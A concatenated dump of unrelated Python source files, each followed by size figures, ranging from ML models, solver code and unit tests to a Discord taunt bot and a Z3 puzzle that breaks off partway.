parser.add_argument("--assembly", type=str, default="")
parser.add_argument('--index', action="store_true", default=False)
args = parser.parse_args()
return args
def main():
args = parse_args()
DBCONN = db_connect(os.path.realpath(__file__))
run(args, DBCONN)
return 0
if __name__ == '__main__':
sys.exit(main())
| 4,052 | 1,253 |
import torch
from src.transforms import MultiNodeData
import collections
import dill
import os
from src.utils import create_dirs
class Sequencer(object):
"Determines sequences in a dataset and annotates elements accordingly."
def __init__(self, path_to_dir : str, node_classes : list = [], graph_classes : list = [], exclude_normal : bool = False, transform_key =""):
self.path_to_dir = path_to_dir
self.is_fitted : bool = False
self.__exclude_normal__ = exclude_normal
self.__node_classes__ = node_classes
self.__graph_classes__ = graph_classes
self.__sequence_dict__ : dict = {}
self.__latest_group__ : tuple = None
self.__id__ = Sequencer.get_id(node_classes=self.__node_classes__,
graph_classes=self.__graph_classes__,
exclude_normal=self.__exclude_normal__,
transform_key=transform_key)
def __repr__(self):
return f"{self.__class__.__name__}(exclude_normal={self.__exclude_normal__}, #sequence_groups={self.__latest_group__[0] + 1})" # starts with zero
def __str__(self):
return f"{self.__class__.__name__}(exclude_normal={self.__exclude_normal__}, #sequence_groups={self.__latest_group__[0] + 1})" # starts with zero
@staticmethod
def get_id(*args, **kwargs):
sorted_kwargs = collections.OrderedDict(sorted(kwargs.items()))
return ", ".join(f"{key}={value}" for key, value in sorted_kwargs.items())
@classmethod
def getInstance(cls, path_to_dir : str, **kwargs):
path_to_file = os.path.join(path_to_dir, "sequencer.pkl")
if os.path.exists(path_to_file):
with open(path_to_file, 'rb') as dill_file:
obj = dill.load(dill_file)
if obj.__id__ == Sequencer.get_id(**kwargs):
return obj
else:
return Sequencer(path_to_dir, **kwargs)
else:
return Sequencer(path_to_dir, **kwargs)
def save(self):
create_dirs(self.path_to_dir)
with open(os.path.join(self.path_to_dir, "sequencer.pkl"), "wb") as dill_file:
dill.dump(self, dill_file)
def __call__(self, data: MultiNodeData):
file_idx : int = data["file_idx"]
look_up_dict = self.__sequence_dict__.get(file_idx, {})
for key, value in look_up_dict.items():
data[key] = value
return data
def annotate(self, data: MultiNodeData):
"The calling function iterates over a dataset and sequentially inputs elements."
# extract properties from object
identifiers : list = data["identifiers"]
y_compact = data["y"]
y_full = data["y_full"]
sequence_node_group : str = None
sequence_transitional : str = "steady"
sequence_anomaly_index : int = torch.argmax(y_compact).item()
sequence_anomaly : int = self.__graph_classes__[sequence_anomaly_index]
sequence_anomaly_index = self.__node_classes__.index(sequence_anomaly) # overwrite
if y_compact[0,0] == 1 and not self.__exclude_normal__:
sequence_node_group = "cluster"
else:
identifier_index : int = torch.argmax(y_full[: ,sequence_anomaly_index]).item()
identifier : str = identifiers[identifier_index]
sequence_node_group = data[f"group_{identifier}"]
# handle group incrementing
if self.__latest_group__ is None:
self.__latest_group__ = (0, sequence_anomaly, sequence_node_group)
elif (self.__latest_group__[1] != sequence_anomaly) or (self.__latest_group__[2] != sequence_node_group):
sequence_transitional = "up / down"
self.__latest_group__ = (self.__latest_group__[0] + 1, sequence_anomaly, sequence_node_group)
# add properties to this object
data["sequence_group"] = self.__latest_group__[0]
data["sequence_anomaly"] = sequence_anomaly
data["sequence_node_group"] = sequence_node_group
self.__sequence_dict__[data["file_idx"]] = {
"sequence_transitional": sequence_transitional,
"sequence_id": self.__latest_group__[0],
"file_id": data["file_idx"]
}
return data
| 4,618 | 1,344 |
from math import sqrt, sin, cos, pi, ceil
class HexLattice:
def __init__(self, pitch, pattern):
self.pitch = pitch
self.pattern = pattern
def num_nodes(self):
return len(self.pattern)
def num_rings(self):
return ceil((1 + sqrt(1 + 4 / 3 * (self.num_nodes() - 1))) / 2)
def spiral_coord(self):
coord = [(0.0, 0.0)] * self.num_nodes()
for i in range(1, self.num_rings()):
for j in range(6):
coord[3 * i * (i - 1) + 2 + j * i - 1] = (self.pitch * i * cos(j / 3.0 * pi + pi / 6.0),
self.pitch * i * sin(j / 3.0 * pi + pi / 6.0))
if i > 1:
for j in range(5):
a = 3 * i * (i - 1) + 2 + i * j - 1
b = a + i
for k in range(1, i):
coord[a + k] = (coord[a][0] + (coord[b][0] - coord[a][0]) / i * k,
coord[a][1] + (coord[b][1] - coord[a][1]) / i * k)
a = 3 * i * (i - 1) + 2 + i * 5 - 1
b = 3 * i * (i - 1) + 2 + i * 0 - 1
for k in range(1, i):
coord[a + k] = (coord[a][0] + (coord[b][0] - coord[a][0]) / i * k,
coord[a][1] + (coord[b][1] - coord[a][1]) / i * k)
return coord
class RectangularLattice:
def __init__(self, nx, ny, dx, dy, pattern):
self.nx = nx
self.ny = ny
self.dx = dx
self.dy = dy
self.pattern = pattern
def get_coord(self):
coord = []
for i in range(self.nx):
for j in range(self.ny):
coord.append(((i + 1) * self.dx, (j + 1) * self.dy))
return coord
class CircleLattice:
def __init__(self, nodes, pitch, pattern):
self.nodes = nodes
self.pitch = pitch
self.pattern = pattern
def get_coord(self):
coord = []
angle = 360.0 / self.nodes / 180.0 * pi
for i in range(self.nodes):
coord.append((0.5 * self.pitch * cos(i * angle), 0.5 * self.pitch * sin(i * angle)))
return coord
| 2,184 | 797 |
#! /usr/bin/env python3
from argparse import ArgumentParser
from jwkest.jwk import RSAKey, import_rsa_key_from_file
from oic import rndstr
from oidc_fed.util import write_private_key_to_jwk, write_key_to_jwk
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("hostname")
parser.add_argument("keypath")
parser.add_argument("--pretty", action="store_true", default=False, help="add newlines in the output JWKs'")
args = parser.parse_args()
key = RSAKey(key=import_rsa_key_from_file(args.keypath),
kid="{}/{}".format(args.hostname, rndstr()), use="sig", alg="RS256")
write_private_key_to_jwk(key, args.hostname + ".jwk", pretty_format=args.pretty)
write_key_to_jwk(key, args.hostname + ".pub.jwk", pretty_format=args.pretty)
| 798 | 298 |
#!/usr/bin/env python3
from LoLIM.stationTimings.plot_multiple_data_all_stations import plot_blocks
## these lines are anachronistic and should be fixed at some point
from LoLIM import utilities
utilities.default_raw_data_loc = "/exp_app2/appexp1/public/raw_data"
utilities.default_processed_data_loc = "/home/brian/processed_files"
if __name__ == "__main__":
timeID = "D20180813T153001.413Z"
initial_block =int( 1.1600369/((2**16)*(5.0E-9)) - 7 )#3600
num_blocks = 5#15
block_size = 2**16
points = [ int(i*block_size + initial_block*block_size) for i in range(num_blocks) ]
guess_flash_location = [2.43390916381, -50825.1364969, 0.0, 1.56124908739] #[ -3931.11275309 , -50046.0631816 , 3578.27013805 , 1.57679214101 ] ## use this if time delays are real and not apparent. Set to None when delays above are apparent delays, not real delays
guess_station_delays = {
#"CS002": 0.0,
# "RS208": 6.97951240511e-06 , ##??
# "RS210": 0.0, ##??
#
#'RS305' : 7.1934989871e-06 , ## diff to guess: 1.37699440122e-09 ## station has issues
#
#'CS001' : 2.22608533961e-06 , ## diff to guess: 4.78562753903e-11
#'CS003' : 1.40501165264e-06 , ## diff to guess: 2.56900601842e-11
#'CS004' : 4.32211945847e-07 , ## diff to guess: 3.20360474459e-11
#'CS005' : -2.18380807142e-07 , ## diff to guess: -3.01646125334e-12
#'CS006' : 4.34522296073e-07 , ## diff to guess: -2.94819663886e-11
#'CS007' : 4.01400128492e-07 , ## diff to guess: -1.83203313815e-11
#'CS011' : -5.8302961409e-07 , ## diff to guess: -7.32960828329e-11
#'CS013' : -1.81462826555e-06 , ## diff to guess: 5.9737204973e-11
#'CS017' : -8.43481910796e-06 , ## diff to guess: -1.54596823704e-10
#'CS021' : 9.21050369068e-07 , ## diff to guess: 1.24261191845e-10
#'CS024' : 2.32427672269e-06 , ## diff to guess: -8.77497333155e-11
#'CS026' : -9.22825332003e-06 , ## diff to guess: -2.66372216731e-10
#'CS030' : -2.7456803478e-06 , ## diff to guess: 1.39204321291e-10
#'CS031' : 6.01413419127e-07 , ## diff to guess: 2.53209023786e-10
#'CS032' : -1.57741838792e-06 , ## diff to guess: 1.846326379e-10
#'CS101' : -8.16615435706e-06 , ## diff to guess: -2.53208768089e-10
#'CS103' : -2.85091400004e-05 , ## diff to guess: -7.27782381276e-10
#'CS201' : -1.04793635499e-05 , ## diff to guess: -3.0681327272e-10
#'CS301' : -7.17561119226e-07 , ## diff to guess: 5.88567275111e-11
#'CS302' : -5.36129780715e-06 , ## diff to guess: 3.35483144602e-10
#'CS501' : -9.61278903257e-06 , ## diff to guess: 6.00305103156e-11
#'RS106' : 7.02924807891e-06 , ## diff to guess: -7.25879447838e-09
#'RS205' : 7.0038838679e-06 , ## diff to guess: -8.49291760387e-10
#'RS306' : 6.96711967265e-06 , ## diff to guess: -2.62120449015e-09
#'RS307' : 6.75696202824e-06 , ## diff to guess: -1.3075950508e-08
#'RS310' : 2.41269896248e-05 , ## diff to guess: -1.10397627992e-07
#'RS406' : 6.9110087838e-06 , ## diff to guess: -9.59008754502e-10
#'RS407' : 6.98525430598e-06 , ## diff to guess: -3.00606097676e-10
#'RS409' : 6.46668496272e-06 , ## diff to guess: -4.04928527945e-08
#'RS503' : 6.94443898031e-06 , ## diff to guess: 3.84182560508e-10
#'RS508' : 6.98408223074e-06 , ## diff to guess: -2.67436047276e-09
#'CS002': 0.0, 'RS208': 6.97951240511e-06, 'RS210': 0.0, 'RS305': 7.1934989871e-06, 'CS001': 2.24398052932e-06, 'CS003': 1.40671433963e-06, 'CS004': 4.39254549298e-07, 'CS005': -2.17392408269e-07, 'CS006': 4.29289039189e-07, 'CS007': 3.97558509721e-07, 'CS011': -5.91906970684e-07, 'CS013': -1.81204525376e-06, 'CS017': -8.45993703135e-06, 'CS021': 9.41558820961e-07, 'CS024': 2.32937078961e-06, 'CS026': -9.27244674102e-06, 'CS030': -2.73605732527e-06, 'CS031': 6.35936979893e-07, 'CS032': -1.54249405457e-06, 'CS101': -8.21575780092e-06, 'CS103': -2.85893646507e-05, 'CS201': -1.05133457098e-05, 'CS301': -6.86328550514e-07, 'CS302': -5.26891242658e-06, 'CS501': -9.62998566046e-06, 'RS106': 6.76765397484e-06, 'RS205': 7.08992058615e-06, 'RS306': 7.39393907628e-06, 'RS307': 7.7449641133e-06, 'RS310': 7.41170595821e-06, 'RS406': 6.95522873621e-06, 'RS407': 6.8262423552e-06, 'RS409': 7.25738861722e-06, 'RS503': 6.92336265463e-06, 'RS508': 6.36019852868e-06}
'CS002': 0.0,
'CS001' : 2.22387557646e-06 , ## diff to guess: 3.18517622545e-10
'CS003' : 1.40455863627e-06 , ## diff to guess: 1.53521313723e-11
'CS004' : 4.30900574133e-07 , ## diff to guess: 1.38365536384e-10
'CS005' : -2.18815284186e-07 , ## diff to guess: 2.6508625035e-11
'CS006' : 4.34980864494e-07 , ## diff to guess: -9.330207262e-11
'CS007' : 4.01729497298e-07 , ## diff to guess: -8.09325165755e-11
'CS011' : -5.823430971e-07 , ## diff to guess: -1.15198613492e-10
'CS013' : -1.81465773882e-06 , ## diff to guess: -2.00763538069e-11
'CS017' : -8.43258169953e-06 , ## diff to guess: -3.85056108665e-10
'CS021' : 9.19941039479e-07 , ## diff to guess: 2.05397653314e-10
'CS024' : 2.32318085224e-06 , ## diff to guess: 2.17960259389e-10
'CS030' : -2.74560701447e-06 , ## diff to guess: -1.77137589853e-11
'CS032' : -1.58157668878e-06 , ## diff to guess: 6.87814027615e-10
'CS101' : -8.15953877184e-06 , ## diff to guess: -1.04463662949e-09
'CS103' : -2.84990371249e-05 , ## diff to guess: -1.37752973241e-09
'CS201' : -1.04757682248e-05 , ## diff to guess: -4.92204636901e-10
'CS301' : -7.21792199501e-07 , ## diff to guess: 6.93388604766e-10
'CS302' : -5.3731028034e-06 , ## diff to guess: 1.98583644899e-09
'CS501' : -9.60968609077e-06 , ## diff to guess: -5.26058814995e-10
'RS106' : 7.08056273311e-06 , ## diff to guess: -2.21303338139e-09
'RS205' : 6.98980285689e-06 , ## diff to guess: 2.80223827456e-09
'RS306' : 6.9378252342e-06 , ## diff to guess: 9.87807334176e-09
'RS307' : 6.70507155702e-06 , ## diff to guess: 2.59243527917e-08
'RS310' : 2.45363311428e-05 , ## diff to guess: 0.0
'RS406' : 6.9239217611e-06 , ## diff to guess: 4.20859492066e-10
'RS407' : 7.02096706021e-06 , ## diff to guess: -4.72098717648e-09
'RS409' : 6.57692512977e-06 , ## diff to guess: 2.98049180677e-08
'RS503' : 6.94972035701e-06 , ## diff to guess: -8.5438566934e-10
'RS508' : 7.08148673507e-06 , ## diff to guess: -1.48805065579e-08
'RS208' : 6.84965668876e-06 , ## diff to guess: 2.93529464353e-08
}
referance_station = "CS002" ## only needed if using real delays, via the location on next line
plot_blocks(timeID,
block_size,
points,
guess_station_delays,
guess_location = guess_flash_location,
bad_stations=["CS401", "CS031", "CS026", "RS210", "RS106"],
polarization_flips="polarization_flips.txt",
bad_antennas = "bad_antennas.txt",
additional_antenna_delays = "ant_delays.txt",
do_remove_saturation = True,
do_remove_RFI = True,
positive_saturation = 2046,
negative_saturation = -2047,
saturation_post_removal_length = 50,
saturation_half_hann_length = 5,
referance_station = "CS002")
| 7,144 | 4,750 |
<warning descr="Unused import statement 'import spam'">import <error descr="No module named spam">spam</error></warning>
| 121 | 36 |
import json
import sys
import pytest
from ansible.compat.tests.mock import patch
from ansible.module_utils import basic
from ansible.module_utils._text import to_bytes
# FIXME: paths/imports should be fixed before submitting a PR to Ansible
sys.path.append('lib/ansible/modules/cloud/kubevirt')
import kubevirt_vm_status as mymodule
def set_module_args(args):
args = json.dumps({'ANSIBLE_MODULE_ARGS': args})
basic._ANSIBLE_ARGS = to_bytes(args)
class AnsibleExitJson(Exception):
"""Exception class to be raised by module.exit_json and caught
by the test case"""
pass
def exit_json(*args, **kwargs):
if 'changed' not in kwargs:
kwargs['changed'] = False
raise AnsibleExitJson(kwargs)
class TestKubeVirtVMStatusModule(object):
@classmethod
@pytest.fixture(autouse=True)
def setup_class(cls, monkeypatch):
monkeypatch.setattr(
mymodule.K8sVirtAnsibleModule, "exit_json", exit_json)
args = dict(name='baldr', namespace='vms', state='stopped')
set_module_args(args)
@patch('kubernetes.client.ApiClient')
@patch('kubernetes.client.CustomObjectsApi.patch_namespaced_custom_object')
@patch('kubernetes.client.CustomObjectsApi.get_namespaced_custom_object')
def test_run_vm_main(
self, mock_crd_get, mock_crd_patch, mock_client
):
mock_client.return_value = dict()
mock_crd_get.return_value = dict(spec=dict(running=True))
mock_crd_patch.return_value = dict()
with pytest.raises(AnsibleExitJson) as result:
mymodule.KubeVirtVMStatus().execute_module()
assert result.value[0]['changed']
mock_crd_patch.assert_called_once_with(
'kubevirt.io', 'v1alpha2', 'vms', 'virtualmachines',
'baldr', dict(spec=dict(running=False)))
@patch('kubernetes.client.ApiClient')
@patch('kubernetes.client.CustomObjectsApi.patch_namespaced_custom_object')
@patch('kubernetes.client.CustomObjectsApi.get_namespaced_custom_object')
def test_run_vm_same_state(
self, mock_crd_get, mock_crd_patch, mock_client
):
mock_client.return_value = dict()
mock_crd_get.return_value = dict(spec=dict(running=False))
with pytest.raises(AnsibleExitJson) as result:
mymodule.KubeVirtVMStatus().execute_module()
assert not result.value[0]['changed']
| 2,383 | 784 |
"""
# CREATE BINARY TREE FROM POSTORDER AND INORDER
Given inorder and postorder traversal of a tree, construct the binary tree.
Note:
You may assume that duplicates do not exist in the tree.
For example, given
inorder = [9,3,15,20,7]
postorder = [9,15,7,20,3]
Return the following binary tree:
3
- -
9 20
- -
15 7
"""
# Definition for a binary tree node.
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
class Solution:
def buildTree(self, inorder, postorder) -> TreeNode:
if len(postorder) == 0:
return None
return self.tree(postorder, inorder)
def tree(self, post, inorder):
if len(post) < 1:
return None
if len(post) == 1:
return TreeNode(post[0], None, None)
root = post[-1]
index = inorder.index(root)
x = self.tree(post[:index], inorder[:index])
y = self.tree(post[index:len(post)-1], inorder[index+1:])
return TreeNode(root, x, y) | 1,105 | 371 |
import theano
def test_stack_trace():
orig = theano.config.traceback__limit
try:
theano.config.traceback__limit = 1
v = theano.tensor.vector()
assert len(v.tag.trace) == 1
assert len(v.tag.trace[0]) == 1
theano.config.traceback__limit = 2
v = theano.tensor.vector()
assert len(v.tag.trace) == 1
assert len(v.tag.trace[0]) == 2
finally:
theano.config.traceback__limit = orig
| 460 | 159 |
import torch
from torchdiffeq.covar.solvers import FixedGridODESolver_Covar
from torchdiffeq._impl.rk_common import rk4_alt_step_func
class Euler_Covar(FixedGridODESolver_Covar):
order = 1
def __init__(self, eps=0., **kwargs):
super(Euler_Covar, self).__init__(**kwargs)
self.eps = torch.as_tensor(eps, dtype=self.dtype, device=self.device)
def _step_func(self, func, t, dt, y):
return dt * func(t + self.eps, y)
class Midpoint_Covar(FixedGridODESolver_Covar):
order = 2
def __init__(self, eps=0., **kwargs):
super(Midpoint_Covar, self).__init__(**kwargs)
self.eps = torch.as_tensor(eps, dtype=self.dtype, device=self.device)
def _step_func(self, func, t, dt, y):
half_dt = 0.5 * dt
y_mid = y + func(t + self.eps, y) * half_dt
return dt * func(t + half_dt, y_mid)
class RK4_Covar(FixedGridODESolver_Covar):
order = 4
def __init__(self, eps=0., **kwargs):
super(RK4_Covar, self).__init__(**kwargs)
self.eps = torch.as_tensor(eps, dtype=self.dtype, device=self.device)
def _step_func(self, func, t, dt, y):
return rk4_alt_step_func(func, t + self.eps, dt - 2 * self.eps, y)
| 1,208 | 488 |
# Generated by Django 2.2.1 on 2019-06-04 17:25
from django.db import migrations, models
import p2.core.validators
class Migration(migrations.Migration):
dependencies = [
('p2_core', '0021_auto_20190517_1647'),
]
operations = [
migrations.AlterField(
model_name='blob',
name='path',
field=models.TextField(validators=[p2.core.validators.validate_blob_path]),
),
migrations.AlterField(
model_name='component',
name='controller_path',
field=models.TextField(choices=[('p2.components.image.controller.ImageController', 'ImageController'), ('p2.components.quota.controller.QuotaController', 'QuotaController'), ('p2.components.public_access.controller.PublicAccessController', 'PublicAccessController'), ('p2.components.replication.controller.ReplicationController', 'ReplicationController')]),
),
migrations.AlterField(
model_name='storage',
name='controller_path',
field=models.TextField(choices=[('p2.core.storages.null.NullStorageController', 'NullStorageController'), ('p2.storage.local.controller.LocalStorageController', 'LocalStorageController'), ('p2.storage.s3.controller.S3StorageController', 'S3StorageController')]),
),
]
| 1,317 | 383 |
from ..mapper import PropertyMapper, ApiInterfaceBase
from ..mapper.types import Timestamp, AnyType
__all__ = ['TraceControl', 'TraceControlInterface']
class TraceControlInterface(ApiInterfaceBase):
max_trace_timeout_ms: int
class TraceControl(PropertyMapper, TraceControlInterface):
pass
| 303 | 82 |
import cStringIO
import tempfile
import mock
from attrdict import AttrDict
from logit.main import get_arg_parser, main
from logit.crypt import get_secret_key, encrypt_json, decrypt_json
def test_get_arg_parser():
"""Test get arg parser."""
get_arg_parser()
@mock.patch('logit.main.get_console_input')
@mock.patch('logit.crypt.getpass.getpass')
def test_main(mock_getpass, mock_input):
"""Test adding a note."""
password = 'p@ssword'
mock_getpass.side_effect = [
password,
Exception('called too many times'),
]
mock_input.side_effect = [
'note',
'This is a test note',
Exception('called too many times'),
]
with tempfile.NamedTemporaryFile() as file_:
entry = {
"category": "note",
"timestamp": "2014-12-01T02:43:04.384669",
"message": "This is a test.",
"installation": "b8f2e978-f638-492a-022f-abce33fc8203",
"id": "97c6683d-ff1f-4791-a313-6d4588fa5aaa",
}
length = file_.tell()
opts = AttrDict()
encrypt_json(get_secret_key(opts, password=password), entry, file_)
assert length < file_.tell()
length = file_.tell()
main(argv=['--log={}'.format(file_.name)])
file_.seek(0, 2)
assert length < file_.tell()
def test_get_secret_key():
"""Test get secret key."""
opts = AttrDict()
get_secret_key(opts, password='blahblahblah')
assert opts.secret_key is not None
def test_encrypt_decrypt_json():
"""Test encrypt decrypt json."""
stream = cStringIO.StringIO()
secret_key = b'\xd3\x81by(!]\xbdU0\xd0\xe2\xa0\xd6j\xcc\xca\x92\x0e\x8c\xd7\xb5~D/1\xdc4\xbd\xb2w\x06' # noqa
blob_data = {'test': 'data', '1': 2}
encrypt_json(secret_key, blob_data, stream)
stream.seek(0)
encrypted = stream.read()
assert len(encrypted) > 0
decrypted_blob = decrypt_json(secret_key, encrypted)
assert decrypted_blob == blob_data
def test_encrypt_decrypt_json_failure():
"""Test encrypt decrypt json."""
stream = cStringIO.StringIO()
secret_key = b'\xd3\x81by(!]\xbdU0\xd0\xe2\xa0\xd6j\xcc\xca\x92\x0e\x8c\xd7\xb5~D/1\xdc4\xbd\xb2w\x06' # noqa
blob_data = {'test': 'data', '1': 2}
encrypt_json(secret_key, blob_data, stream)
stream.seek(0)
encrypted = stream.read()
assert len(encrypted) > 0
bad_secret_key = b'\xe3\x81by(!]\xbdU0\xd0\xe2\xa0\xd6j\xcc\xca\x92\x0e\x8c\xd7\xb5~D/1\xdc4\xbd\xb2w\x06' # noqa
try:
decrypt_json(bad_secret_key, encrypted)
except ValueError:
pass
else:
assert False
| 2,627 | 1,066 |
"""Json utils to print, save and load training results."""
import os
import json
from bson import json_util
import tensorflow as tf
from tensorflow.python.saved_model import builder as saved_model_builder, tag_constants
from tensorflow.python.client import device_lib
import keras.backend as K
from gradient_sdk import model_dir, export_dir
EXPERIMENT_NAME = os.environ.get('EXPERIMENT_NAME')
RESULTS_DIR = model_dir(EXPERIMENT_NAME)
def is_gpu_available():
return tf.test.is_gpu_available()
def get_available_gpus():
local_device_protos = device_lib.list_local_devices()
return [x.name for x in local_device_protos if x.device_type == 'GPU']
def print_json(result):
"""Pretty-print a jsonable structure (e.g.: result)."""
print(json.dumps(
result,
default=json_util.default, sort_keys=True,
indent=4, separators=(',', ': ')
))
def save_json_result(model_name, result):
"""Save json to a directory and a filename."""
print("Prepare to save best result")
result_name = '{}.txt.json'.format(model_name)
if not os.path.exists(RESULTS_DIR):
os.makedirs(RESULTS_DIR)
with open(os.path.join(RESULTS_DIR, result_name), 'w') as f:
json.dump(
result, f,
default=json_util.default, sort_keys=True,
indent=4, separators=(',', ': ')
)
print("Result save to json finished")
def load_json_result(best_result_name):
"""Load json from a path (directory + filename)."""
result_path = os.path.join(RESULTS_DIR, best_result_name)
with open(result_path, 'r') as f:
return json.JSONDecoder().decode(
f.read()
# default=json_util.default,
# separators=(',', ': ')
)
def load_best_hyperspace():
results = [
f for f in list(sorted(os.listdir(RESULTS_DIR))) if 'json' in f
]
if len(results) == 0:
return None
best_result_name = results[-1]
return load_json_result(best_result_name)["space"]
def export_model(model_name):
try:
# Export Model
tf.logging.info("Export trained model")
export_path = export_dir(EXPERIMENT_NAME)
model_path = os.path.join(export_path, model_name, '1')
K.set_learning_phase(0)
builder = saved_model_builder.SavedModelBuilder(model_path)
with K.get_session() as sess:
builder.add_meta_graph_and_variables(
sess=sess,
tags=[tag_constants.SERVING],
)
builder.save()
except Exception as e:
tf.logging.error('Model export has failed with error: %s', e)
| 2,644 | 863 |
import os
import disnake
from disnake.ext import commands, tasks
from dotenv import load_dotenv
class Taunts(commands.Cog):
"""Replies with taunts from AoE2"""
def __init__(self, bot: commands.Bot):
self.bot = bot
@commands.command(name="1")
async def yes_1(self, ctx: commands.Context):
"""
Command: 1
Returns: The age taunt #1. (Yes.)
"""
response = "Yes."
await ctx.send(response)
@commands.command(name="2")
async def no_2(self, ctx: commands.Context):
"""
Command: 2
Returns: The age taunt #2. (No.)
"""
response = "No."
await ctx.send(response)
@commands.command(name="28")
async def otherguy_28(self, ctx: commands.Context):
"""
Command: 28
Returns: The age taunt #28. (Yeah, well, you should see the other guy.)
"""
response = "Yeah, well, you should see the other guy."
await ctx.send(response)
@commands.command(name="30")
async def monk_30(self, ctx: commands.Context):
"""
Command: 30
Returns: The age taunt #30. (Wololo!)
"""
response = "Wololo!"
await ctx.send(response)
@commands.command(name="14", help="Returns AoE2 taunt #14.")
# @commands.cooldown(1, 30, commands.BucketType.user)
async def startTheGame(self, ctx: commands.Context):
"""
Command: 14
Returns: The age2 taunt #14. (Start the game already!)
"""
response = "Start the game already!"
await ctx.send(response)
@commands.command(name="13", help="Returns AoE2 taunt #13.")
# @commands.cooldown(1, 30, commands.BucketType.user)
async def isp(self, ctx: commands.Context):
"""
Command: 13
Returns: The age2 taunt #13. (Sure, blame it on your ISP.)
"""
response = "Sure, blame it on your ISP."
await ctx.send(response)
@commands.command(name="age?", help="Returns AoE2 taunt #30.")
# @commands.cooldown(1, 30, commands.BucketType.user)
async def questionableAge(self, ctx: commands.Context):
"""
Command: age?
Returns: The phrase "Well, duh."
"""
response = "Well, duh."
await ctx.send(response)
@commands.command(name="11")
async def laugh(self, ctx: commands.Context):
"""
Command: 11
Returns: The age taunt #11. (*laughter*)
"""
response = "🤣"
await ctx.send(response)
@commands.command(name="!gg")
async def gg(self, ctx: commands.Context):
"""
Command: :gg:
Returns: The server GG emote.
"""
response = "<:gg:861701719050551307>"
await ctx.send(response)
def setup(bot: commands.Bot):
bot.add_cog(Taunts(bot))
| 2,941 | 1,036 |
import config
import tensorflow as tf
import tensorflow.keras.layers as layers
from models.Blocks import *
class DeepCNN(tf.keras.Model):
def __init__(self, hparams, *args, **kwargs):
super(DeepCNN, self).__init__(*args, **kwargs)
self.layers_count = hparams[config.HP_DEEP_LAYERS]
self.dual_output = hparams[config.HP_LOSS_TYPE] == "DUAL_BCE"
self.input_len = 500
self.down_res_layers = [DownResLayer
(
hparams[config.HP_DEEP_CHANNELS] * 2**l,
kernel_size=hparams[config.HP_DEEP_KERNEL_SIZE],
first_layer=(l == 0),
use_dropout=True
) for l in range(self.layers_count - 1)]
self.down_res_layer_final_a = DownResLayer(
hparams[config.HP_DEEP_CHANNELS] * 2**(self.layers_count-1),
kernel_size=hparams[config.HP_DEEP_KERNEL_SIZE],
first_layer=False
)
self.down_res_layer_final_v = DownResLayer(
hparams[config.HP_DEEP_CHANNELS] * 2**(self.layers_count-1),
kernel_size=hparams[config.HP_DEEP_KERNEL_SIZE],
first_layer=False
)
self.feature_pool_a = layers.GlobalAveragePooling1D()
self.feature_pool_v = layers.GlobalAveragePooling1D()
self.lrelu_out_a = layers.LeakyReLU()
self.lrelu_out_v = layers.LeakyReLU()
if hparams[config.HP_LOSS_TYPE] == "MSE":
activation = None
else:
activation = 'sigmoid'
self.dense_out_a = layers.Dense(units=1, activation=activation, name="arousal_class")
self.dense_out_v = layers.Dense(units=1, activation=activation, name="valence_class")
def call(self, inputs, training=None, mask=None):
x = inputs
for i in range(self.layers_count - 1):
x = self.down_res_layers[i](x, training=training)
x_a = self.down_res_layer_final_a(x, training=training)
x_a = self.lrelu_out_a(x_a)
x_a = self.feature_pool_a(x_a)
if self.dual_output:
x_v = self.down_res_layer_final_v(x, training=training)
x_v = self.lrelu_out_v(x_v)
x_v = self.feature_pool_v(x_v)
return self.dense_out_a(x_a), self.dense_out_v(x_v)
else:
return self.dense_out_a(x_a)
def model(self):
x = layers.Input(shape=(500, 5))
return tf.keras.Model(inputs=[x], outputs=self.call(x))
| 2,475 | 892 |
#!/usr/bin/python -u
# -*- coding: latin-1 -*-
#
# Finding celebrities problem in Z3
#
# From Uwe Hoffmann
# "Finding celebrities at a party"
# http://www.codemanic.com/papers/celebs/celebs.pdf
# """
# Problem: Given a list of people at a party and for each person the list of
# people they know at the party, we want to find the celebrities at the party.
# A celebrity is a person that everybody at the party knows but that
# only knows other celebrities. At least one celebrity is present at the party.
# """
# (This paper also has an implementation in Scala.)
#
# Note: The original of this problem is
# Richard Bird and Sharon Curtis:
# "Functional pearls: Finding celebrities: A lesson in functional programming"
# J. Funct. Program., 16(1):13 20, 2006.
#
# The problem from Hoffmann's paper is to find of who are the
# celebrity/celebrities in this party graph:
# Adam knows {Dan,Alice,Peter,Eva},
# Dan knows {Adam,Alice,Peter},
# Eva knows {Alice,Peter},
# Alice knows {Peter},
# Peter knows {Alice}
#
# Solution: the celebrities are Peter and Alice.
#
# I blogged about this problem in "Finding celebrities at a party"
# http://www.hakank.org/constraint_programming_blog/2010/01/finding_celebrities_at_a_party.html
#
# This Z3 model was written by Hakan Kjellerstrand (hakank@gmail.com)
# See also my Z3 page: http://hakank.org/z3/
#
from z3_utils_hakank import *
def finding_celebrities(problem):
graph = problem
n = len(graph)
sol = Solver()
# variables
celebrities = makeIntVector(sol,"celebrities",n,0,1) # 1 if a celebrity
num_celebrities = makeIntVar(sol,"num_celebrities",0,n)
# constraints
sol.add(num_celebrities == Sum(celebrities))
# All persons know the celebrities,
# and the celebrities only know celebrities.
for i in range(n):
sol.add((celebrities[i] == 1) == (Sum([If(graph[j][i] == 1,1,0) for j in range(n)]) == n))
sol.add((celebrities[i] == 1) == (Sum([If(graph[i][j] == 1,1,0) for j in range(n)]) == num_celebrities))
num_solutions = 0
while sol.check() == sat:
num_solutions += 1
mod = sol.model()
print("num_celebrities :", mod.eval(num_celebrities))
print("celebrities :", [i for i in range(n) if mod.eval(celebrities[i]) == 1])
print()
getDifferentSolution(sol,mod,celebrities)
print("num_solutions:", num_solutions)
print()
#
# The party graph of the example above:
#
# Adam knows [Dan,Alice,Peter,Eva], [2,3,4,5]
# Dan knows [Adam,Alice,Peter], [1,4,5]
# Eva knows [Alice,Peter], [4,5]
# Alice knows [Peter], [5]
# Peter knows [Alice] [4]
#
# Solution: Peter and Alice (4,5) are the celebrities.
#
problem1 = [[1,1,1,1,1], # 1
[1,1,0,1,1], # 2
[0,0,1,1,1], # 3
[0,0,0,1,1], # 4
[0,0,0,1,1] # 5
]
# In this example Alice (4) also knows Adam (1),
# which makes Alice a non celebrity, and since
# Peter (5) knows Alices, Peter is now also a
# non celebrity. Which means that there are no
# celebrities at this party.
#
problem2 = [[1,1,1,1,1],
[1,1,0,1,1],
[0,0,1,1,1],
[1,0,0,1,1],
[0,0,0,1,1]
]
#
# Here is another example. It has the following
# cliques:
# [1,2]
